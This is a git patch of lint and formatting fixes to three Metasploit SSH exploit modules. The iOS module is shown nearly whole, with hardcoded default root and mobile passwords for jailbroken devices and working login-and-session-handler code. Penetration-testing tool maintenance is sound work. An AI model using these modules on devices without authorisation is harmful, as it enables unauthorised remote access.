From fd6c8aa3d564458bbf8b20ac0e89d86fdb20fa3a Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Mon, 18 Apr 2022 23:36:23 +0200 Subject: [PATCH] Lint msftidy --- .../apple_ios/ssh/cydia_default_ssh.rb | 80 +++++++++---------- .../ssh/vyos_restricted_shell_privesc.rb | 7 +- .../exploits/unix/ssh/arista_tacplus_shell.rb | 7 +- 3 files changed, 52 insertions(+), 42 deletions(-) diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 84614f4fd3..4ab55b0fce 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -11,43 +11,47 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::SSH - def initialize(info={}) - super(update_info(info, - 'Name' => "Apple iOS Default SSH Password Vulnerability", - 'Description' => %q{ - This module exploits the default credentials of Apple iOS when it - has been jailbroken and the passwords for the 'root' and 'mobile' - users have not been changed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apple iOS Default SSH Password Vulnerability', + 'Description' => %q{ + This module exploits the default credentials of Apple iOS when it + has been jailbroken and the passwords for the 'root' and 'mobile' + users have not been changed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'hdm' ], - 'References' => - [ + 'References' => [ ['OSVDB', '61284'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, - 'Payload' => - { + 'Payload' => { 'Compat' => { - 'PayloadType' => 'cmd_interact', + 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => - [ + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [ ['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ], ], - 'Privileged' => true, - 'DisclosureDate' => '2007-07-02', - 'DefaultTarget' => 0)) + 'Privileged' => true, + 'DisclosureDate' => '2007-07-02', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) register_options( [ @@ -72,21 +76,18 @@ class MetasploitModule < Msf::Exploit::Remote datastore['RHOST'] end - def rport datastore['RPORT'] end - def do_login(user, pass) - opts = ssh_client_defaults.merge({ - :auth_methods => ['password', 'keyboard-interactive'], - :port => rport, - :password => pass + auth_methods: ['password', 'keyboard-interactive'], + port: rport, + password: pass }) - opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = nil @@ -117,17 +118,16 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - def exploit - self.target['accounts'].each do |info| - user,pass = info + target['accounts'].each do |info| + user, pass = info print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'") conn = do_login(user, pass) - if conn - print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})") - handler(conn.lsock) - break - end + next unless conn + + print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})") + handler(conn.lsock) + break end end end diff --git a/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb b/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb index bdc6503a6f..58b851dce3 100644 --- a/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb +++ b/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb @@ -55,7 +55,12 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Automatic', {} ] - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } ) ) diff --git a/modules/exploits/unix/ssh/arista_tacplus_shell.rb b/modules/exploits/unix/ssh/arista_tacplus_shell.rb index ecae3b2cc0..2b6088d0c9 100644 --- a/modules/exploits/unix/ssh/arista_tacplus_shell.rb +++ b/modules/exploits/unix/ssh/arista_tacplus_shell.rb @@ -40,7 +40,12 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'linux', 'PayloadType' => 'cmd_interact', 'Privileged' => true, - 'Targets' => [ [ 'Universal', {} ] ] + 'Targets' => [ [ 'Universal', {} ] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } ) )